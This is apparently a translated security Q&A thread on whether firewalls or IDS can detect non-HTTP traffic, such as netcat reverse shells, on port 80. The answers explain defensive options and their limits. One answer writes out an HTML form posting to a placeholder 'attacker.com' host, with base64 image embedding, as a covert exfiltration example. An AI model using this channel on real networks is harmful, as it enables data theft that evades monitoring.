ポート80を使用して非HTTPパケットを検出する

Question

現在、ファイアウォールでポートのホワイトリスト登録を行っていますが、これは問題なく機能していますが、サイドチャネルの実装や他の目的でのこれらのポートの誤用を防ぐことはできません。たとえば、外部リスナーがポート80で待機している場合でも、攻撃者はnetcatバックコネクトセッションを初期化できます。

すべてのパケットのペイロードを分析して、宛先ポートに通常割り当てられているプロトコルを使用していることを確認する方法はありますか？

これはもちろん単なる例であり、一見正しいように設計されたペイロードでペイロードを非表示にする可能性があることを認識しています。それはすべて、悪者にとって困難にすることです。

Steffen Ullrich · Accepted Answer

IDSといくつかの詳細検査ファイアウォール（NGFWまたはUTMと呼ばれることもあります）は、通常、トラフィックがHTTPかどうかを検出できます。また、前のHTTPプロキシは、適切なHTTPでないものはすべてブロックするだけです。

ただし、トラフィックがHTTPのように見えるリバースシェルを構築することは可能であるため、このフィルタリングは少しだけ役立つことに注意してください。

ThoriumBR · Answer

攻撃者はHTTPトラフィックを簡単に模倣できるため、適切に開発されたシェルがHTTPリクエストを模倣してデータを引き出すのを妨げるIDS/IPSがあるとは思えません。偽のHTMLページを作成し、<img src="data:image/png;base64,iVBORw0KG…8bg5CYII=">を使用して画像を埋め込み、トラフィックを内部に配置するのは非常に簡単です。

可逆圧縮（PNGのような）は、必要なすべてのデータを内部のクライアントに送信できるようにし、<form action="http://attacker.com/submit.pl" method="post" enctype="multipart/form-data">を使用して外部にデータを送信できます。

alone · Answer

Advanced IPS/IDSが役立ちます。しかし、Web（HTTP/HTTPS）に完全にカスタマイズされたファイアウォールの種類があります。

それらはWAF、Webアプリケーションファイアウォールと呼ばれます。

適切に構成された適切なWAFは、あなたが話しているような多くの攻撃を防ぐことができます。

Kevin · Answer

これはもちろん単なる例であり、一見正しく設計されたペイロードでペイロードを非表示にする可能性を認識しています。それはすべて、悪者のために困難にすることです。

それは単に「可能」ではありません。それは簡単です。実際、HTML5では、それは実にささいなです。

WebSocketを使用すると、HTTPのような接続で、クライアント側のJavaScriptとサーバー側のWebアプリケーションの間でトンネルの任意のコンテンツを実行できます。これは、規格の明確な設計目標であり、偶然ではありません。 WebSocketをブロックできる場合もありますが、これは実際のWebアプリケーションを破壊する可能性があります。さらに悪いことに、攻撃者のサイトがHTTPS（これも easy ）で提供されている場合、基本的にWSSをブロックすることはできません。。

独自のルート証明書を発行し、それらをすべてのクライアントマシンにインストールし、その方法でMitMを実行できます。しかし今、あなたは壁とはしごをユーザーと遊んでいます。 WebSocketを壊すことで、システムを回避する方法を見つけるインセンティブを与えます。

問題は、HTTPが「安全な」または制限されたプロトコルではないことです。 HTMLドキュメントの共有を容易にするために設計されました。ドキュメントの共有とは関係のない使用を妨げるようには設計されていません。したがって、実際には、さまざまな方法で使用および乱用される可能性があり、これを回避することは病理学的に困難です。

それで、あなたは何ができますか？まあ、それはそもそも何をしようとしているのかに依存します。

あなたが（たとえば）大学で、学生がオンラインゲームで大量の帯域幅を消費したり、違法にトレントしたりすることを防止しようとしている場合は、帯域幅の使用状況を追跡して上位N％をブロックします（現実的なNベースのネットワーク容量に応じて）。

あなたがビジネスで、特定の種類のマルウェアが自宅に電話をかけないようにしようとしている場合は、実行しているHTTP以外のブロックの種類に加えて、マルウェアについてユーザーを教育することに重点を置く必要があります。

非HTTPを許可する正当な理由が考えられないために非HTTPをブロックしているだけの場合は、脅威モデルを自問する必要があります。この種のブロックによって軽減される攻撃は何ですか？どの合法的な使用が機能しなくなりますか？このポリシーは、ユーザーがそれを回避しようとするまでユーザーを困らせる可能性がありますか？